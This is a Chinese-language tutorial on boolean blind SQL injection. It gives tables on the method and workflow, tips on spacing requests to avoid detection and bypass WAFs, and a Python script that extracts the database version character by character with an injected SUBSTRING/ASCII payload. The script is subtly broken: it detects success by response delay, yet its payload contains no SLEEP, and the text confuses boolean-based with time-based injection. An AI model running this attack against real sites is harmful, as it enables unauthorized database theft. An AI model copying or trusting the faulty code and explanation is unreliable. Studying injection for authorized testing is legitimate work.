【布尔盲注python脚本】在Web安全测试中，布尔盲注是一种常见的SQL注入技术，用于通过判断查询结果的真假来逐步获取数据库信息。与传统的联合查询或报错注入不同，布尔盲注依赖于HTTP响应的状态码、页面内容的变化等来判断注入是否成功。由于其隐蔽性强，常被用于绕过简单的WAF（Web应用防火墙）检测。
为了提高效率和自动化程度，使用Python编写布尔盲注脚本成为一种常见做法。以下是对布尔盲注及其Python实现方式的总结。
一、布尔盲注原理总结
| 项目 | 内容 |
| 原理 | 通过构造不同的SQL语句，根据服务器返回的页面内容或状态码变化判断注入是否成功 |
| 特点 | 隐蔽性强、不需要返回错误信息、依赖逻辑判断 |
| 适用场景 | 目标网站无明显错误提示、存在可注入点但无法直接获取数据 |
| 工具 | Python脚本、Burp Suite、SQLMap（辅助工具） |
二、Python脚本实现要点
| 模块/功能 | 功能说明 |
| requests | 发送HTTP请求并获取响应内容 |
| time | 控制请求间隔，防止被检测 |
| string | 处理字符拼接，如ASCII码转换 |
| threading | 多线程加速注入过程（可选） |
| logging | 记录日志信息，便于调试 |
三、布尔盲注脚本流程
| 步骤 | 说明 |
| 1 | 确定注入点，找到可注入的参数（如GET或POST参数） |
| 2 | 构造基础注入语句，判断是否存在注入漏洞 |
| 3 | 逐位猜测数据库信息（如表名、列名、字段值） |
| 4 | 使用逻辑判断（如`IF(1=1, SLEEP(2), 0)`）控制响应时间 |
| 5 | 根据响应时间或页面内容变化确认注入结果 |
| 6 | 将结果保存到本地文件或输出至终端 |
四、示例代码片段（简化版）
```python
import requests
import time
url = "http://example.com/vulnerable_page.php?id="
headers = {"User-Agent": "Mozilla/5.0"}
def boolean_check(payload):
start_time = time.time()
res = requests.get(url + payload, headers=headers)
end_time = time.time()
return (end_time - start_time) > 2 判断是否延迟
示例：猜解数据库版本
version = ""
for i in range(1, 20):
for j in range(32, 127):
payload = f"1' AND ASCII(SUBSTRING((SELECT VERSION()),{i},1))={j}-- -"
if boolean_check(payload):
version += chr(j)
print(f"当前猜测: {version}")
break
print("数据库版本为:", version)
```
五、注意事项
| 注意事项 | 说明 |
| 避免频繁请求 | 过多请求可能触发反爬机制或被封IP |
| 合法性 | 仅用于授权测试，未经授权的测试可能违法 |
| 超时设置 | 设置合理的超时时间以避免长时间等待 |
| 日志记录 | 记录每一步的注入结果，便于后续分析 |
六、总结
布尔盲注是一种高效且隐蔽的SQL注入方式，尤其适用于无法直接获取错误信息的场景。通过Python脚本可以大大提升注入效率，减少人工操作。然而，在实际应用中需遵守法律法规，确保测试行为合法合规。
| 总结点 | 内容 |
| 技术价值 | 提高渗透测试效率，发现潜在漏洞 |
| 实现方式 | Python脚本+HTTP请求+逻辑判断 |
| 安全提醒 | 仅限授权范围内使用，避免滥用 |
如需进一步优化脚本性能或扩展功能（如支持多线程、自动识别注入点），可根据具体需求进行调整。
